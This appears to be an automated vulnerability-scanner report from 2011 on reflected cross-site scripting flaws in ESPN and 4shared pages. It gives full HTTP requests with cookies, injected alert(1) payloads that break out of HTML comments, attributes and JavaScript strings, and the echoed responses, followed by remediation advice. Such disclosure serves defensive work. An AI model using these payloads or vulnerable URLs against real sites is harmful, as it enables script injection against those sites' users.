Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /new-york/nba/columns/story?columnist=smith_stephena78ab--><script>alert(1)</script>30f7ceccaa0&id=6151461 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=60 Date: Wed, 23 Feb 2011 23:07:02 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:07:02 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN03 Cache-Expires: Wed, 23 Feb 2011 23:08:02 GMT Content-Length: 49403 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>The New Jersey Nets ...[SNIP]... <!--url:/newyork/nba/columns/story?columnist=smith_stephena78ab--><script>alert(1)</script>30f7ceccaa0&id=6151461--> ...[SNIP]...
The value of the columnist request parameter is copied into an HTML comment. The payload 96982--><script>alert(1)</script>2e8bd08d9cb was submitted in the columnist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /new-york/ncb/columns/story?columnist=darcy_kieran96982--><script>alert(1)</script>2e8bd08d9cb&id=6149055 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=60 Date: Wed, 23 Feb 2011 23:07:07 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:07:07 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN06 Cache-Expires: Wed, 23 Feb 2011 23:08:07 GMT Content-Length: 45822 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>St. John's is back ...[SNIP]... <!--url:/newyork/ncb/columns/story?columnist=darcy_kieran96982--><script>alert(1)</script>2e8bd08d9cb&id=6149055--> ...[SNIP]...
The value of the columnist request parameter is copied into an HTML comment. The payload 7fb3d--><script>alert(1)</script>49cb1de33c was submitted in the columnist parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /new-york/nfl/columns/story?columnist=cimini_rich7fb3d--><script>alert(1)</script>49cb1de33c&id=6124996 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=60 Date: Wed, 23 Feb 2011 23:07:29 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:07:29 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN15 Cache-Expires: Wed, 23 Feb 2011 23:08:29 GMT Content-Length: 41612 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>New York Jets decis ...[SNIP]... <!--url:/newyork/nfl/columns/story?columnist=cimini_rich7fb3d--><script>alert(1)</script>49cb1de33c&id=6124996--> ...[SNIP]...
The value of the sport request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0be4"><script>alert(1)</script>bd9314bed95 was submitted in the sport parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /new-york/teams/recap?gameId=310530164&sport=ncbc0be4"><script>alert(1)</script>bd9314bed95 HTTP/1.1 Host: sports.espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=60 Date: Wed, 23 Feb 2011 23:07:36 GMT Content-Type: text/html; charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:07:36 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN09 Cache-Expires: Wed, 23 Feb 2011 23:08:36 GMT Content-Length: 20995 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Game Recap - ESPN N ...[SNIP]... <a href="http://sports.espn.go.com/ncbc0be4"><script>alert(1)</script>bd9314bed95/boxscore?gameId=310530164"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eba06"-alert(1)-"0dae7da8be1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2dac"-alert(1)-"8e22e060db7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/cssc2dac"-alert(1)-"8e22e060db7/630963420/css/openid.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function fe ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7a0ff"-alert(1)-"7efa6baafe1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles7a0ff"-alert(1)-"7efa6baafe1/css/677814427/css/upload-frame.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } f ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 783a9"-alert(1)-"fe838ec3fce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e4888"-alert(1)-"558cf729ae5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundlese4888"-alert(1)-"558cf729ae5/css/765844602/css/flags.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55cbe"-alert(1)-"bce3fca82c4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css55cbe"-alert(1)-"bce3fca82c4/765844602/css/flags.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function fee ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 499e1"-alert(1)-"af069d79772 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 216fd"-alert(1)-"7a2ba26463d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://search.4shared.com/s ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css216fd"-alert(1)-"7a2ba26463d/N162308233/css/network.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1530f"-alert(1)-"5c8612fc249 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2117a"-alert(1)-"c970855b872 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css2117a"-alert(1)-"c970855b872/N90201876/css/ajax-suggestions.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } f ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 163b1"-alert(1)-"297eae2c019 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles163b1"-alert(1)-"297eae2c019/css/gzip_630963420/css/openid.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } fu ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 30f3d"-alert(1)-"0dd0c41e0d3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b65f"-alert(1)-"5a3a52c1156 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles9b65f"-alert(1)-"5a3a52c1156/css/gzip_677814427/css/upload-frame.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); }
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3b9ab"-alert(1)-"dee60659f4a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/css3b9ab"-alert(1)-"dee60659f4a/gzip_677814427/css/upload-frame.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); }
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 76573"-alert(1)-"ec03b530299 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles76573"-alert(1)-"ec03b530299/css/gzip_N90201876/css/ajax-suggestions.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus();
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e355f"-alert(1)-"c59a7821a20 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/csse355f"-alert(1)-"c59a7821a20/gzip_N90201876/css/ajax-suggestions.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); }
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9ccb7"-alert(1)-"03ea243a2a2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles9ccb7"-alert(1)-"03ea243a2a2/js/1258691160/bundles/js/global.js"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } f ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4da92"-alert(1)-"7b78290c6f9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb4d2"-alert(1)-"5f2a71056a9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundlesbb4d2"-alert(1)-"5f2a71056a9/js/gzip_1258691160/bundles/js/global.js"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); }
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83dc7"-alert(1)-"5295142c7b1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/bundles/js83dc7"-alert(1)-"5295142c7b1/gzip_1258691160/bundles/js/global.js"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); }
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a532a"-alert(1)-"56c404f6318 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload faf1b"-alert(1)-"8d2f34b5bc1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/4shFeatures.cssfaf1b"-alert(1)-"8d2f34b5bc1"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 498ae"-alert(1)-"582fd7f25e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ddd86"-alert(1)-"e7244271d61 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/common.cssddd86"-alert(1)-"e7244271d61"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 658a0"-alert(1)-"488f25f19da was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ebafb"-alert(1)-"74fc1488d18 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
